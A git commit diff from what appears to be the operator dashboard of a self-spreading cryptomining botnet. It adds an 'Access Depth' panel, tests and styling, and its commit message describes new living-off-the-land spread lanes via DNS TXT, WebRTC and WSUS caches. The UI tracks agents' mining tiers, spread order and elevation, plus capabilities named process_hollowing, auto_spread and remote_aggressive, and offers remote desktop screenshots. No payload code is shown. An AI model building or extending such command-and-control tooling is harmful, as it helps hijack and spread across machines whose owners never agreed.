Add dns_txt, webrtc_mesh, and wsus_cache_peer LOTL deploy tiers with Forge toggles.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
This commit is contained in:
@@ -33,7 +33,7 @@ interface HashrateChartProps {
|
||||
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
|
||||
|
||||
function colorToId(color: string): string {
|
||||
if (color.includes('f5ff') || color.includes('06b6d4') || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
|
||||
if (color.includes('e8f5') || color.includes('f5ff') || color.includes('06b6d4') || color === '#00e8f5' || color === '#00f5ff' || color.includes('neon-cyan')) return 'cyan';
|
||||
if (color.includes('2da6') || color.includes('8b5cf6')) return 'magenta';
|
||||
if (color.includes('b020') || color.includes('eab308')) return 'amber';
|
||||
if (color.includes('39ff') || color.includes('22c55e')) return 'green';
|
||||
|
||||
222
server/web/src/components/Fleet/AccessDepthPanel.css
Normal file
222
server/web/src/components/Fleet/AccessDepthPanel.css
Normal file
@@ -0,0 +1,222 @@
|
||||
.access-depth-panel {
|
||||
margin-bottom: 1rem;
|
||||
max-width: none;
|
||||
}
|
||||
|
||||
.access-depth-header {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
gap: 0.75rem;
|
||||
margin-bottom: 0.5rem;
|
||||
}
|
||||
|
||||
.access-depth-grid {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(11rem, 1fr));
|
||||
gap: 0.65rem 1rem;
|
||||
margin-bottom: 0.65rem;
|
||||
}
|
||||
|
||||
.access-depth-section-title {
|
||||
color: var(--neon-cyan);
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
font-size: 0.66rem;
|
||||
margin-bottom: 0.3rem;
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.access-depth-os-line {
|
||||
color: #e8e8e8;
|
||||
font-size: 0.76rem;
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-probes {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.25rem;
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-probe {
|
||||
font-size: 0.62rem;
|
||||
font-family: var(--font-tech);
|
||||
padding: 1px 5px;
|
||||
border-radius: 3px;
|
||||
border: 1px solid rgba(255, 255, 255, 0.12);
|
||||
}
|
||||
|
||||
.access-depth-probe.ok {
|
||||
color: var(--neon-green);
|
||||
background: rgba(57, 255, 20, 0.08);
|
||||
border-color: rgba(57, 255, 20, 0.25);
|
||||
}
|
||||
|
||||
.access-depth-probe.no {
|
||||
color: var(--text-muted);
|
||||
background: rgba(255, 255, 255, 0.04);
|
||||
}
|
||||
|
||||
.access-depth-meta,
|
||||
.access-depth-muted,
|
||||
.access-depth-empty {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-empty {
|
||||
font-style: italic;
|
||||
}
|
||||
|
||||
.access-depth-join {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
margin-top: 0.35rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-attempt-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.access-depth-attempt-row {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: baseline;
|
||||
gap: 0.25rem 0.4rem;
|
||||
font-size: 0.72rem;
|
||||
padding: 0.1rem 0;
|
||||
}
|
||||
|
||||
.access-depth-attempt-tier {
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.access-depth-phase {
|
||||
font-size: 0.62rem;
|
||||
color: var(--neon-violet, #b388ff);
|
||||
text-transform: uppercase;
|
||||
}
|
||||
|
||||
.access-depth-in-progress,
|
||||
.access-depth-pending {
|
||||
margin-top: 0.35rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--neon-amber, #ffb347);
|
||||
}
|
||||
|
||||
.access-depth-onion-block {
|
||||
border-top: 1px solid rgba(255, 255, 255, 0.06);
|
||||
padding-top: 0.5rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-columns {
|
||||
display: grid;
|
||||
grid-template-columns: repeat(auto-fit, minmax(14rem, 1fr));
|
||||
gap: 0.75rem 1.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-subtitle {
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-list {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.15rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-item {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
gap: 0.35rem;
|
||||
font-size: 0.72rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-idx {
|
||||
color: var(--text-muted);
|
||||
min-width: 1.25rem;
|
||||
}
|
||||
|
||||
.access-depth-onion-label {
|
||||
color: #e8e8e8;
|
||||
}
|
||||
|
||||
.access-depth-onion-item--skipped .access-depth-onion-label {
|
||||
opacity: 0.55;
|
||||
text-decoration: line-through;
|
||||
}
|
||||
|
||||
.access-depth-tag {
|
||||
font-size: 0.58rem;
|
||||
font-family: var(--font-tech);
|
||||
letter-spacing: 0.05em;
|
||||
padding: 0 4px;
|
||||
border-radius: 2px;
|
||||
}
|
||||
|
||||
.access-depth-tag--active {
|
||||
color: var(--neon-cyan);
|
||||
border: 1px solid rgba(0, 245, 255, 0.35);
|
||||
}
|
||||
|
||||
.access-depth-tag--skip {
|
||||
color: var(--text-muted);
|
||||
border: 1px solid rgba(255, 255, 255, 0.15);
|
||||
}
|
||||
|
||||
.access-depth-tag--ok {
|
||||
color: var(--neon-green);
|
||||
border: 1px solid rgba(57, 255, 20, 0.3);
|
||||
}
|
||||
|
||||
.access-depth-tag--fail {
|
||||
color: #ff8866;
|
||||
border: 1px solid rgba(255, 136, 68, 0.35);
|
||||
}
|
||||
|
||||
.access-depth-tag--pending {
|
||||
color: var(--neon-amber, #ffb347);
|
||||
border: 1px solid rgba(255, 180, 60, 0.3);
|
||||
}
|
||||
|
||||
.access-depth-source {
|
||||
margin-left: 0.35rem;
|
||||
color: var(--text-muted);
|
||||
font-weight: 400;
|
||||
text-transform: none;
|
||||
letter-spacing: 0;
|
||||
}
|
||||
|
||||
.access-depth-triple {
|
||||
margin-top: 0.45rem;
|
||||
font-size: 0.68rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-hint {
|
||||
margin: 0.45rem 0 0;
|
||||
font-size: 0.66rem;
|
||||
color: var(--text-muted);
|
||||
}
|
||||
|
||||
.access-depth-calibrate-link {
|
||||
color: var(--neon-cyan);
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.access-depth-calibrate-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
172
server/web/src/components/Fleet/AccessDepthPanel.test.tsx
Normal file
172
server/web/src/components/Fleet/AccessDepthPanel.test.tsx
Normal file
@@ -0,0 +1,172 @@
|
||||
/**
|
||||
* @vitest-environment happy-dom
|
||||
*/
|
||||
import { afterEach, describe, expect, it, vi } from 'vitest';
|
||||
import { cleanup, render, screen } from '@testing-library/react';
|
||||
import { MemoryRouter } from 'react-router-dom';
|
||||
import AccessDepthPanel from './AccessDepthPanel';
|
||||
import type { Agent } from '../../types';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthDiagnostics,
|
||||
parseAccessDepthServerPolicy,
|
||||
} from '../../help/accessDepth';
|
||||
|
||||
vi.mock('../../api/client', () => ({
|
||||
api: {
|
||||
getConfig: vi.fn().mockResolvedValue({
|
||||
server: {
|
||||
lotl_onion_tiers: ['vuln_recon', 'docker', 'winrm'],
|
||||
triple_onion_policy: {
|
||||
recon_tiers: ['vuln_recon'],
|
||||
deploy_lanes: ['docker', 'winrm'],
|
||||
},
|
||||
},
|
||||
}),
|
||||
},
|
||||
}));
|
||||
|
||||
function mockAgent(overrides: Partial<Agent>): Agent {
|
||||
return {
|
||||
id: 'a1',
|
||||
name: 'Node',
|
||||
wallet: '',
|
||||
ip: '10.0.0.5',
|
||||
version: '1',
|
||||
status: 'online',
|
||||
cpu_cores: 8,
|
||||
memory_gb: 16,
|
||||
last_seen: '',
|
||||
created_at: '',
|
||||
hashrate_15s: 0,
|
||||
hashrate_1m: 0,
|
||||
hashrate_15m: 0,
|
||||
shares_total: 0,
|
||||
shares_good: 0,
|
||||
shares_bad: 0,
|
||||
cpu_usage_pct: 0,
|
||||
memory_usage_pct: 0,
|
||||
uptime_seconds: 0,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
function renderPanel(agent: Agent, diagnostics?: ReturnType<typeof parseAccessDepthDiagnostics>) {
|
||||
return render(
|
||||
<MemoryRouter>
|
||||
<AccessDepthPanel agent={agent} diagnostics={diagnostics} />
|
||||
</MemoryRouter>,
|
||||
);
|
||||
}
|
||||
|
||||
describe('accessDepth helpers', () => {
|
||||
it('parses mining diagnostics payload with probes and tier chain', () => {
|
||||
const diag = parseAccessDepthDiagnostics({
|
||||
lotl_tier: 'wsl',
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
tier_chain_skipped: ['exe_subprocess'],
|
||||
environment_probes: { docker: true, wsl: true, pwsh: true, gpu: false },
|
||||
lotl_attempts: [
|
||||
{ tier: 'container', ok: false, error: 'no runtime', phase: 'mining' },
|
||||
{ tier: 'wsl', ok: true, duration_ms: 900, phase: 'mining' },
|
||||
],
|
||||
});
|
||||
expect(diag.lotl_tier).toBe('wsl');
|
||||
expect(diag.tier_chain_skipped).toEqual(['exe_subprocess']);
|
||||
expect(diag.environment_probes?.docker).toBe(true);
|
||||
expect(diag.lotl_attempts).toHaveLength(2);
|
||||
expect(diag.lotl_attempts?.[1].phase).toBe('mining');
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for Windows agent with diagnostics', () => {
|
||||
const agent = mockAgent({
|
||||
platform: 'windows',
|
||||
os_version: '10.0.26200',
|
||||
arch: 'amd64',
|
||||
lotl_tier: 'wsl',
|
||||
join_lane: 'winrm',
|
||||
agent_elevated: true,
|
||||
capabilities: { auto_spread: true, hole_punch: false, mesh_p2p: true, remote_aggressive: true, process_hollowing: false, ai_enabled: false },
|
||||
});
|
||||
const model = buildAccessDepthModel(
|
||||
agent,
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
tier_chain_skipped: ['exe_subprocess'],
|
||||
lotl_attempts: [
|
||||
{ tier: 'container', ok: false, error: 'blocked', phase: 'mining' },
|
||||
{ tier: 'wsl', ok: true, phase: 'mining' },
|
||||
],
|
||||
environment_probes: { docker: false, wsl: true, pwsh: true },
|
||||
}),
|
||||
parseAccessDepthServerPolicy({ server: { lotl_onion_tiers: ['vuln_recon', 'docker'] } }),
|
||||
);
|
||||
expect(model.platformLabel).toBe('Windows');
|
||||
expect(model.joinLane).toBe('winrm');
|
||||
expect(model.succeeded).toHaveLength(1);
|
||||
expect(model.failed).toHaveLength(1);
|
||||
expect(model.miningOnion.find((r) => r.tier === 'exe_subprocess')?.status).toBe('skipped');
|
||||
expect(model.spreadOnion).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for Linux agent without diagnostics', () => {
|
||||
const agent = mockAgent({
|
||||
platform: 'linux',
|
||||
join_lane: 'linux-lotl',
|
||||
lotl_attempts: [{ tier: 'cpu_inprocess', ok: true, phase: 'mining' }],
|
||||
});
|
||||
const model = buildAccessDepthModel(agent);
|
||||
expect(model.platformLabel).toBe('Linux');
|
||||
expect(model.succeeded[0].tier).toBe('cpu_inprocess');
|
||||
expect(model.miningOnion.length).toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('buildAccessDepthModel for macOS agent', () => {
|
||||
const agent = mockAgent({ platform: 'darwin', os_version: '14.2' });
|
||||
const model = buildAccessDepthModel(agent);
|
||||
expect(model.platformLabel).toBe('macOS');
|
||||
expect(model.osLine).toContain('macOS');
|
||||
});
|
||||
});
|
||||
|
||||
describe('AccessDepthPanel', () => {
|
||||
afterEach(() => cleanup());
|
||||
|
||||
it('renders sections for Windows fixture', async () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
platform: 'windows',
|
||||
lotl_tier: 'wsl',
|
||||
join_lane: 'winrm',
|
||||
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
|
||||
}),
|
||||
parseAccessDepthDiagnostics({
|
||||
environment_probes: { wsl: true, pwsh: true },
|
||||
tier_chain_order: ['container', 'wsl'],
|
||||
lotl_attempts: [{ tier: 'wsl', ok: true, phase: 'mining' }],
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText('ACCESS DEPTH')).toBeInTheDocument();
|
||||
expect(screen.getByText('OS & posture')).toBeInTheDocument();
|
||||
expect(screen.getByText('Active')).toBeInTheDocument();
|
||||
expect(screen.getByText('Succeeded')).toBeInTheDocument();
|
||||
expect(screen.getByText('Failed / in progress')).toBeInTheDocument();
|
||||
expect(screen.getByText('Effective onion order')).toBeInTheDocument();
|
||||
expect(await screen.findByText('WinRM')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('shows pending chain when tiers not yet attempted', () => {
|
||||
renderPanel(
|
||||
mockAgent({
|
||||
platform: 'linux',
|
||||
status: 'online',
|
||||
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
|
||||
}),
|
||||
parseAccessDepthDiagnostics({
|
||||
tier_chain_order: ['container', 'wsl', 'cpu_inprocess'],
|
||||
lotl_attempts: [{ tier: 'container', ok: false, error: 'missing' }],
|
||||
}),
|
||||
);
|
||||
expect(screen.getByText(/pending:/i)).toBeInTheDocument();
|
||||
});
|
||||
});
|
||||
196
server/web/src/components/Fleet/AccessDepthPanel.tsx
Normal file
196
server/web/src/components/Fleet/AccessDepthPanel.tsx
Normal file
@@ -0,0 +1,196 @@
|
||||
import { useEffect, useMemo, useState } from 'react';
|
||||
import { Link } from 'react-router-dom';
|
||||
import { api } from '../../api/client';
|
||||
import {
|
||||
buildAccessDepthModel,
|
||||
parseAccessDepthServerPolicy,
|
||||
type AccessDepthDiagnostics,
|
||||
} from '../../help/accessDepth';
|
||||
import type { Agent } from '../../types';
|
||||
import { HelpTip } from '../HelpTip';
|
||||
import JoinLaneBadge from './JoinLaneBadge';
|
||||
import LotlTierBadge from './LotlTierBadge';
|
||||
import './AccessDepthPanel.css';
|
||||
import './LotlVisuals.css';
|
||||
import './ReconVisuals.css';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
diagnostics?: AccessDepthDiagnostics;
|
||||
}
|
||||
|
||||
function OnionList({ rows, empty }: { rows: ReturnType<typeof buildAccessDepthModel>['miningOnion']; empty: string }) {
|
||||
if (rows.length === 0) {
|
||||
return <div className="access-depth-empty">{empty}</div>;
|
||||
}
|
||||
return (
|
||||
<ol className="access-depth-onion-list">
|
||||
{rows.map((row) => (
|
||||
<li key={`${row.index}-${row.tier}`} className={`access-depth-onion-item access-depth-onion-item--${row.status}`}>
|
||||
<span className="access-depth-onion-idx">{row.index}.</span>
|
||||
<span className="access-depth-onion-label">{row.label}</span>
|
||||
{row.status === 'active' && <span className="access-depth-tag access-depth-tag--active">active</span>}
|
||||
{row.status === 'skipped' && <span className="access-depth-tag access-depth-tag--skip">skipped</span>}
|
||||
{row.status === 'done' && <span className="access-depth-tag access-depth-tag--ok">ok</span>}
|
||||
{row.status === 'failed' && <span className="access-depth-tag access-depth-tag--fail">fail</span>}
|
||||
{row.status === 'pending' && <span className="access-depth-tag access-depth-tag--pending">pending</span>}
|
||||
</li>
|
||||
))}
|
||||
</ol>
|
||||
);
|
||||
}
|
||||
|
||||
function AttemptMiniList({
|
||||
rows,
|
||||
empty,
|
||||
}: {
|
||||
rows: ReturnType<typeof buildAccessDepthModel>['succeeded'];
|
||||
empty: string;
|
||||
}) {
|
||||
if (rows.length === 0) return <div className="access-depth-empty">{empty}</div>;
|
||||
return (
|
||||
<ul className="access-depth-attempt-list">
|
||||
{rows.map((row, i) => (
|
||||
<li key={`${row.tier}-${i}`} className="access-depth-attempt-row">
|
||||
<span className={`lotl-attempt-icon ${row.ok ? 'ok' : 'fail'}`}>{row.ok ? '✓' : '✗'}</span>
|
||||
<span className="access-depth-attempt-tier">{row.label}</span>
|
||||
{row.phase && <span className="access-depth-phase">{row.phase}</span>}
|
||||
{!row.ok && row.error && <span className="lotl-attempt-err">{row.error}</span>}
|
||||
</li>
|
||||
))}
|
||||
</ul>
|
||||
);
|
||||
}
|
||||
|
||||
export default function AccessDepthPanel({ agent, diagnostics }: Props) {
|
||||
const [policyLoaded, setPolicyLoaded] = useState(false);
|
||||
const [serverPolicy, setServerPolicy] = useState(parseAccessDepthServerPolicy({}));
|
||||
|
||||
useEffect(() => {
|
||||
let cancelled = false;
|
||||
api
|
||||
.getConfig()
|
||||
.then((cfg) => {
|
||||
if (!cancelled) {
|
||||
setServerPolicy(parseAccessDepthServerPolicy(cfg));
|
||||
setPolicyLoaded(true);
|
||||
}
|
||||
})
|
||||
.catch(() => {
|
||||
if (!cancelled) setPolicyLoaded(true);
|
||||
});
|
||||
return () => {
|
||||
cancelled = true;
|
||||
};
|
||||
}, []);
|
||||
|
||||
const model = useMemo(
|
||||
() => buildAccessDepthModel(agent, diagnostics, serverPolicy),
|
||||
[agent, diagnostics, serverPolicy],
|
||||
);
|
||||
|
||||
return (
|
||||
<section className="access-depth-panel lotl-attempts-block" aria-label="Access depth">
|
||||
<div className="access-depth-header">
|
||||
<span className="lotl-attempts-title">
|
||||
ACCESS DEPTH <HelpTip field="crucible_access_depth" />
|
||||
</span>
|
||||
{!policyLoaded && <span className="access-depth-muted">loading policy…</span>}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-grid">
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">OS & posture</div>
|
||||
<div className="access-depth-os-line">{model.osLine}</div>
|
||||
{model.probes.length > 0 && (
|
||||
<div className="access-depth-probes">
|
||||
{model.probes.map((p) => (
|
||||
<span key={p.key} className={`access-depth-probe ${p.ok ? 'ok' : 'no'}`}>
|
||||
{p.label}
|
||||
</span>
|
||||
))}
|
||||
</div>
|
||||
)}
|
||||
{model.spreadCaps.length > 0 && (
|
||||
<div className="access-depth-meta">
|
||||
spread: {model.spreadCaps.join(', ')}
|
||||
</div>
|
||||
)}
|
||||
{model.privilegeHints.length > 0 && (
|
||||
<div className="access-depth-meta">
|
||||
{model.privilegeHints.join(' · ')}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Active</div>
|
||||
{model.activeTier ? (
|
||||
<LotlTierBadge tier={model.activeTier} attempts={agent.lotl_attempts} variant="inline" />
|
||||
) : (
|
||||
<div className="access-depth-empty">No active mining tier</div>
|
||||
)}
|
||||
{model.joinLane ? (
|
||||
<div className="access-depth-join">
|
||||
join lane <JoinLaneBadge lane={model.joinLane} />
|
||||
</div>
|
||||
) : (
|
||||
<div className="access-depth-muted">No join lane yet</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Succeeded</div>
|
||||
<AttemptMiniList rows={model.succeeded} empty="No successful tier attempts" />
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section">
|
||||
<div className="access-depth-section-title">Failed / in progress</div>
|
||||
<AttemptMiniList rows={model.failed} empty="No failed attempts" />
|
||||
{model.inProgressLabel && (
|
||||
<div className="access-depth-in-progress">
|
||||
trying <strong>{model.inProgressLabel}</strong>
|
||||
</div>
|
||||
)}
|
||||
{model.pendingLabels.length > 0 && (
|
||||
<div className="access-depth-pending">
|
||||
pending: {model.pendingLabels.slice(0, 6).join(' → ')}
|
||||
{model.pendingLabels.length > 6 ? ` +${model.pendingLabels.length - 6}` : ''}
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div className="access-depth-section access-depth-onion-block">
|
||||
<div className="access-depth-section-title">
|
||||
Effective onion order
|
||||
<span className="access-depth-source">({model.miningOrderSource})</span>
|
||||
</div>
|
||||
<div className="access-depth-onion-columns">
|
||||
<div>
|
||||
<div className="access-depth-onion-subtitle">Mining tiers</div>
|
||||
<OnionList rows={model.miningOnion} empty="No mining tier chain" />
|
||||
</div>
|
||||
<div>
|
||||
<div className="access-depth-onion-subtitle">
|
||||
Spread contingency{' '}
|
||||
<Link to="/settings" className="access-depth-calibrate-link">
|
||||
Calibrate
|
||||
</Link>
|
||||
</div>
|
||||
<OnionList rows={model.spreadOnion} empty="Default spread order" />
|
||||
</div>
|
||||
</div>
|
||||
{model.tripleOnionSummary && (
|
||||
<div className="access-depth-triple">
|
||||
Triple onion: {model.tripleOnionSummary}
|
||||
</div>
|
||||
)}
|
||||
<p className="access-depth-hint">
|
||||
<HelpTip field="crucible_access_depth_calibrate" label="?" />{' '}
|
||||
Calibrate → <Link to="/settings">lotl_onion_tiers</Link> changes spread order on next agent reconnect.
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
);
|
||||
}
|
||||
@@ -313,7 +313,7 @@ export default function CrucibleExpandedOps({
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
disabled={targets.length === 0}
|
||||
title="Fleet health: restore hashing workload on selected online nodes"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
@@ -326,7 +326,7 @@ export default function CrucibleExpandedOps({
|
||||
<button
|
||||
type="button"
|
||||
className="button crucible-op-btn"
|
||||
disabled={!hasSelection}
|
||||
disabled={targets.length === 0}
|
||||
title="Fleet health: power down hashing without disconnecting the agent"
|
||||
onClick={() => {
|
||||
const ids = targets.map((a) => a.id);
|
||||
|
||||
@@ -43,7 +43,7 @@
|
||||
height: 0.55rem;
|
||||
border-radius: 50%;
|
||||
flex-shrink: 0;
|
||||
box-shadow: 0 0 6px var(--group-color, #0ff);
|
||||
box-shadow: 0 0 6px var(--group-color, #00e8f5);
|
||||
}
|
||||
|
||||
.fleet-group-chip-name {
|
||||
|
||||
@@ -218,7 +218,7 @@
|
||||
margin-bottom: 0.25rem;
|
||||
}
|
||||
.er-usd { opacity: 0.7; margin-left: 0.25rem; }
|
||||
.er-highlight { color: var(--neon-cyan, #00f5ff); font-weight: 700; }
|
||||
.er-highlight { color: var(--neon-cyan, #00e8f5); font-weight: 700; }
|
||||
|
||||
/* ── Fleet Health Card ────────────────────────────────────────────────────── */
|
||||
.fleet-health-card {
|
||||
@@ -300,9 +300,9 @@
|
||||
}
|
||||
.contrib-fill {
|
||||
height: 100%;
|
||||
background: var(--neon-cyan, #00f5ff);
|
||||
background: var(--neon-cyan, #00e8f5);
|
||||
border-radius: 4px;
|
||||
box-shadow: 0 0 6px var(--neon-cyan, #00f5ff);
|
||||
box-shadow: 0 0 6px var(--neon-cyan, #00e8f5);
|
||||
transition: width 0.5s ease;
|
||||
}
|
||||
.contrib-hash, .contrib-pct { opacity: 0.75; font-size: 0.75rem; text-align: right; }
|
||||
@@ -379,7 +379,7 @@
|
||||
border-radius: 3px;
|
||||
font-size: 0.82rem;
|
||||
}
|
||||
.lan-subnet { color: var(--neon-cyan, #00f5ff); font-size: 0.78rem; }
|
||||
.lan-subnet { color: var(--neon-cyan, #00e8f5); font-size: 0.78rem; }
|
||||
.lan-meta { display: flex; gap: 1rem; font-size: 0.76rem; opacity: 0.75; }
|
||||
.lan-online { color: var(--neon-green, #39ff14); }
|
||||
.lan-hash { font-family: var(--font-mono, monospace); }
|
||||
@@ -388,7 +388,7 @@
|
||||
.dash-mode-btn {
|
||||
background: transparent;
|
||||
border: 1px solid rgba(0,245,255,0.35);
|
||||
color: var(--neon-cyan, #00f5ff);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
font-family: monospace;
|
||||
font-size: 0.78rem;
|
||||
padding: 0.25rem 0.6rem;
|
||||
|
||||
@@ -66,7 +66,7 @@
|
||||
}
|
||||
|
||||
.agent-list-item.expanded {
|
||||
border-color: rgba(0, 245, 255, 0.35);
|
||||
border-color: rgba(0, 232, 245, 0.35);
|
||||
}
|
||||
|
||||
.agent-list-expand {
|
||||
@@ -86,9 +86,9 @@
|
||||
padding: 0.1rem 0.45rem;
|
||||
margin-right: 0.25rem;
|
||||
border-radius: 4px;
|
||||
background: rgba(0, 245, 255, 0.12);
|
||||
color: var(--neon-cyan, #0ff);
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
background: rgba(0, 232, 245, 0.12);
|
||||
color: var(--neon-cyan, #00e8f5);
|
||||
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||
}
|
||||
|
||||
.agent-list-notes-preview {
|
||||
|
||||
@@ -9,6 +9,7 @@ interface Props {
|
||||
filters: FleetFilterState;
|
||||
onChange: (next: FleetFilterState) => void;
|
||||
selectedCount: number;
|
||||
selectedAgents?: Agent[];
|
||||
onBulkAction: (action: string) => void;
|
||||
onSelectAllFiltered?: () => void;
|
||||
onCreateGroup?: () => void;
|
||||
@@ -21,6 +22,7 @@ export default function FleetToolbar({
|
||||
filters,
|
||||
onChange,
|
||||
selectedCount,
|
||||
selectedAgents = [],
|
||||
onBulkAction,
|
||||
onSelectAllFiltered,
|
||||
onCreateGroup,
|
||||
@@ -112,17 +114,17 @@ export default function FleetToolbar({
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline btn-sm"
|
||||
disabled={bulkBusy}
|
||||
disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')}
|
||||
onClick={() => onBulkAction('screenshot')}
|
||||
title="Capture desktop on the selected machine and download JPEG here"
|
||||
>
|
||||
Screenshot
|
||||
</button>
|
||||
)}
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('pause')} title="Fleet health: power down hashing">Pause</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('resume')} title="Fleet health: restore hashing">Resume</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('stop')}>Stop</button>
|
||||
<button type="button" className="btn btn-outline btn-sm" disabled={bulkBusy || !selectedAgents.some((a) => a.status === 'online')} onClick={() => onBulkAction('restart_idle')}>Restart idle</button>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-sm"
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
.syscheck-panel {
|
||||
margin-top: 1rem;
|
||||
padding: 1rem 1.1rem;
|
||||
border: 1px solid rgba(0, 245, 255, 0.25);
|
||||
border: 1px solid rgba(0, 232, 245, 0.25);
|
||||
border-radius: 8px;
|
||||
background: rgba(8, 12, 24, 0.92);
|
||||
max-height: 72vh;
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
.syscheck-header h3 {
|
||||
margin: 0;
|
||||
color: var(--accent-cyan, #00f5ff);
|
||||
color: var(--accent-cyan, #00e8f5);
|
||||
}
|
||||
|
||||
.syscheck-sub {
|
||||
@@ -78,7 +78,7 @@
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
.syscheck-score {
|
||||
color: #00f5ff;
|
||||
color: #00e8f5;
|
||||
font-weight: 600;
|
||||
}
|
||||
.syscheck-subhead {
|
||||
|
||||
@@ -24,7 +24,7 @@ function latencyLevel(ms: number): 0 | 1 | 2 | 3 | 4 {
|
||||
|
||||
const LEVEL_COLORS: Record<number, string> = {
|
||||
4: '#39ff14', // neon green
|
||||
3: '#00f5ff', // cyan
|
||||
3: '#00e8f5', // cyan
|
||||
2: '#ffb020', // amber
|
||||
1: '#ff4466', // red
|
||||
0: '#444', // grey
|
||||
|
||||
@@ -42,6 +42,17 @@ describe('Recon badges', () => {
|
||||
expect(screen.getByText('DoSvc peer')).toBeInTheDocument();
|
||||
});
|
||||
|
||||
it('JoinLaneBadge renders new spread tier labels', () => {
|
||||
render(<JoinLaneBadge lane="dns_txt" />);
|
||||
expect(screen.getByText('DNS TXT')).toBeInTheDocument();
|
||||
cleanup();
|
||||
render(<JoinLaneBadge lane="webrtc_mesh" />);
|
||||
expect(screen.getByText('WebRTC mesh')).toBeInTheDocument();
|
||||
cleanup();
|
||||
render(<JoinLaneBadge lane="wsus_cache_peer" />);
|
||||
expect(screen.getByText('WSUS cache')).toBeInTheDocument();
|
||||
});
|
